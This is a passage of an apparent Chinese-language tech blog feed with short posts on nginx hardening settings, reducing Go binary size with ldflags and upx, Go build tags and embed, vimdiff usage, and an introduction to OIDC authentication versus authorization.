&lt;p>&lt;code>ssl_protocols TLSv1.2 TLSv1.3;&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>停用不需要的 HTTP 方法&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">limit_except&lt;/span> &lt;span style="color:#e6db74">GET&lt;/span> &lt;span style="color:#e6db74">HEAD&lt;/span> &lt;span style="color:#e6db74">POST&lt;/span> { &lt;span style="color:#f92672">deny&lt;/span> &lt;span style="color:#e6db74">all&lt;/span>; }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>啟用基於 sysctl 的保護&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>net.ipv4.conf.all.rp_filter &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>net.ipv4.tcp_syncookies &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>防止圖片外連&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/images/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">valid_referers&lt;/span> &lt;span style="color:#e6db74">none&lt;/span> &lt;span style="color:#e6db74">blocked&lt;/span> &lt;span style="color:#e6db74">www.domain.com&lt;/span> &lt;span style="color:#e6db74">domain.com&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">if&lt;/span> &lt;span style="color:#e6db74">(&lt;/span>$invalid_referer&lt;span style="color:#e6db74">)&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">403&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>add_header X-Content-Type-Options nosniff;&lt;/code>&lt;/li>
&lt;li>&lt;code>add_header X-XSS-Protection &amp;quot;1; mode=block&amp;quot;;&lt;/code>&lt;/li>
&lt;li>&lt;code>add_header Strict-Transport-Security &amp;quot;max-age=31536000; includeSubDomains; preload&amp;quot; always;&lt;/code>&lt;/li>
&lt;li>&lt;/li>
&lt;/ul></description></item><item><title>為你的Go應用建立輕量級Docker映象？ | IT人</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220725-build-lightweight-docker-image-for-go-app/</link><pubDate>Mon, 25 Jul 2022 17:33:47 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220725-build-lightweight-docker-image-for-go-app/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://iter01.com/605065.html" target="_blank" rel="noopener">為你的 Go 應用建立輕量級 Docker 映象？ | IT 人&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="go-build">go build&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># default&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build -o test1 main.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>14M test1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 在程式編譯的時候可以加上 `-ldflags &amp;#34;-s -w&amp;#34;` 引數來優化編譯，原理是通過去除部分連結和除錯等資訊來減小編譯生成的可執行程式體積，具體引數如下：&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -a：強制編譯所有依賴包&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -s：去掉符號表資訊，不過 panic 的時候 stack trace 就沒有任何檔名/行號資訊了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -w：去掉 DWARF 除錯資訊，不過得到的程式就不能使用 gdb 進行除錯了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 若對符號表無需求，-ldflags 直接新增 &amp;#34;-s&amp;#34; 即可&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 注：不建議-w和-s同時使用&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build -ldflags &lt;span style="color:#e6db74">&amp;#34;-s -w&amp;#34;&lt;/span> -o test2 main.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>11M test2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="upxbrewyum-install-upx">upx(&lt;code>brew/yum install upx&lt;/code>)&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ upx test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Ultimate Packer &lt;span style="color:#66d9ef">for&lt;/span> eXecutables
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Copyright &lt;span style="color:#f92672">(&lt;/span>C&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1996&lt;/span> - &lt;span style="color:#ae81ff">2020&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>UPX 3.96 Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser Jan 23rd &lt;span style="color:#ae81ff">2020&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File size Ratio Format Name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -------------------- ------ ----------- -----------
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">11490768&lt;/span> -&amp;gt; &lt;span style="color:#ae81ff">4063248&lt;/span> 35.36% macho/amd64 test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Packed &lt;span style="color:#ae81ff">1&lt;/span> file.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ upx --brute test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>4.6M test2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>upx 的壓縮選項&lt;/p></description></item><item><title>[Golang] 利用build tags達到不同的build config</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220718-go-build-config-ldflags/</link><pubDate>Mon, 18 Jul 2022 14:21:34 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220718-go-build-config-ldflags/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.evanlin.com/go-build-config-ldflags/" target="_blank" rel="noopener">[Golang] 利用 build tags 達到不同的 build config&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="go-build--ldflags">Go build -ldflags&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">flagString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;This build with ldflag:&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">flagString&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go build -ldflags &lt;span style="color:#e6db74">&amp;#39;-X main.flagString &amp;#34;test&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build with ldflag: test
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="go-build--tags">Go build -tags&lt;/h5>
&lt;h6 id="debug_configgo">debug_config.go&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//+build debug&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;test debug&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString2&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34; and it will run every module with debug tag.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">GetConfigString&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;it is debug.....&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;div class="alert warning">
&lt;span>&lt;i data-feather="alert-triangle">&lt;/i>&lt;/span>
&lt;span>&lt;strong>&lt;code>//+build debug&lt;/code> 前後需要一個空行(除非你在第一行)&lt;/strong>&lt;/span>
&lt;/div>
&lt;h6 id="release_configgo">release_config.go&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//+build !debug&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;test release&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString2&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34; and it will run every module as no debug tag.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">GetConfigString&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;it is release.....&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h6 id="main">main&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;This build is &amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">TestString&lt;/span>, &lt;span style="color:#a6e22e">TestString2&lt;/span>, &lt;span style="color:#a6e22e">GetConfigString&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ go build -tags debug .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build is test debug and it will run every module with debug tag. it is debug.....
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build is test release and it will run every module as no debug tag. it is release.....
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Go embed 简明教程</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220712-go-embed-tutorial/</link><pubDate>Tue, 12 Jul 2022 13:57:03 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220712-go-embed-tutorial/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://colobu.com/2021/01/17/go-embed-tutorial/" target="_blank" rel="noopener">Go embed 简明教程&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="嵌入">嵌入&lt;/h3>
&lt;ul>
&lt;li>对于单个的文件，支持嵌入为&lt;code>string&lt;/code>和 &lt;code>[]byre&lt;/code>&lt;/li>
&lt;li>对于多个文件和文件夹，支持嵌入为新的文件系统 FS&lt;/li>
&lt;li>比如导入 &amp;ldquo;embed&amp;rdquo; 包，即使无显式的使用&lt;/li>
&lt;li>&lt;code>go:embed&lt;/code> 指令用来嵌入，必须紧跟着嵌入后的变量名&lt;/li>
&lt;li>只支持嵌入为 &lt;code>string&lt;/code>, &lt;code>[]byte&lt;/code> 和 &lt;code>embed.FS&lt;/code> 三种类型，这三种类型的别名(alias)和命名类型(如 type S string)都不可以&lt;/li>
&lt;li>使用的是相对路径&lt;/li>
&lt;/ul>
&lt;h4 id="stringbyte">string/[]byte&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#e6db74">&amp;#34;embed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">s&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="embedfs">embed.FS&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;embed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt hello2.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed &amp;#34;p/he llo.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed `p/hello-2.txt`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed dir&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#a6e22e">embed&lt;/span>.&lt;span style="color:#a6e22e">FS&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;hello.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;hello2.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;p/he llo.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;p/hello-2.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="匹配模式">匹配模式&lt;/h5>
&lt;p>go:embed 指令中可以只写文件夹名，此文件夹中除了.和_开头的文件和文件夹都会被嵌入，并且子文件夹也会被递归的嵌入，形成一个此文件夹的文件系统。&lt;/p></description></item><item><title>使用 Vim 當作差異比對工具</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220707-vim-diff-tool/</link><pubDate>Thu, 07 Jul 2022 17:36:22 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220707-vim-diff-tool/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/vim-diff-tool" target="_blank" rel="noopener">使用 Vim 當作差異比對工具&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="指令">指令&lt;/h4>
&lt;p>&lt;code>vim -d file1.txt file2.txt&lt;/code>
或
&lt;code>vimdiff file1.txt file2.txt&lt;/code>&lt;/p>
&lt;ul>
&lt;li>在差異視窗間切換: &lt;code>Ctrl-w + Ctrl-w&lt;/code>&lt;/li>
&lt;li>切換分割視窗方向
&lt;ul>
&lt;li>&lt;code>ctrl-w + K&lt;/code> 將視窗方向由垂直切換為水平。&lt;/li>
&lt;li>&lt;code>ctrl-w + H&lt;/code> 將視窗方向切回垂直分割。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>在變更之間跳轉
&lt;ul>
&lt;li>&lt;code>]c&lt;/code> 前往下一個變更。&lt;/li>
&lt;li>&lt;code>[c&lt;/code> 跳回上一個變更。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>從差異視窗套用變更: &lt;code>:diffget&lt;/code>, &lt;code>:diffput&lt;/code>&lt;/li>
&lt;li>匯出差異為 HTML: &lt;code>:TOhtml | w ~/diff.html&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>OIDC(OpenID Connect) 简介</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220706-openid-connect/</link><pubDate>Wed, 06 Jul 2022 08:47:49 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220706-openid-connect/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jiajunhuang.com/articles/2022_07_06-openid_connect.md.html" target="_blank" rel="noopener">OIDC(OpenID Connect) 简介&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="authentication-vs-authorization">Authentication vs. authorization&lt;/h3>
&lt;blockquote>
&lt;p>Authentication 通常是指校验是否是用户本人的这个过程，而 Authorization 则更多的是指用户是否有权限。通常我们都是先校验 是否是用户本人，然后再校验用户是否有权限。也就是先开始 Authentication，再开始 Authorization。&lt;/p>&lt;/blockquote>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Authentication&lt;/th>
&lt;th>Authorization&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Determines whether users are who they claim to be&lt;/td>
&lt;td>Determines what users can and cannot access&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Challenges the user to validate credentials (for example, through passwords, answers to security questions, or facial recognition)&lt;/td>
&lt;td>Verifies whether access is allowed through policies and rules&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Usually done before authorization&lt;/td>
&lt;td>Usually done after successful authentication&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Generally, transmits info through an ID Token&lt;/td>
&lt;td>Generally, transmits info through an Access Token&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Generally governed by the OpenID Connect (OIDC) protocol&lt;/td>
&lt;td>Generally governed by the OAuth 2.0 framework&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Example: Employees in a company are required to authenticate through the network before accessing their company email&lt;/td>
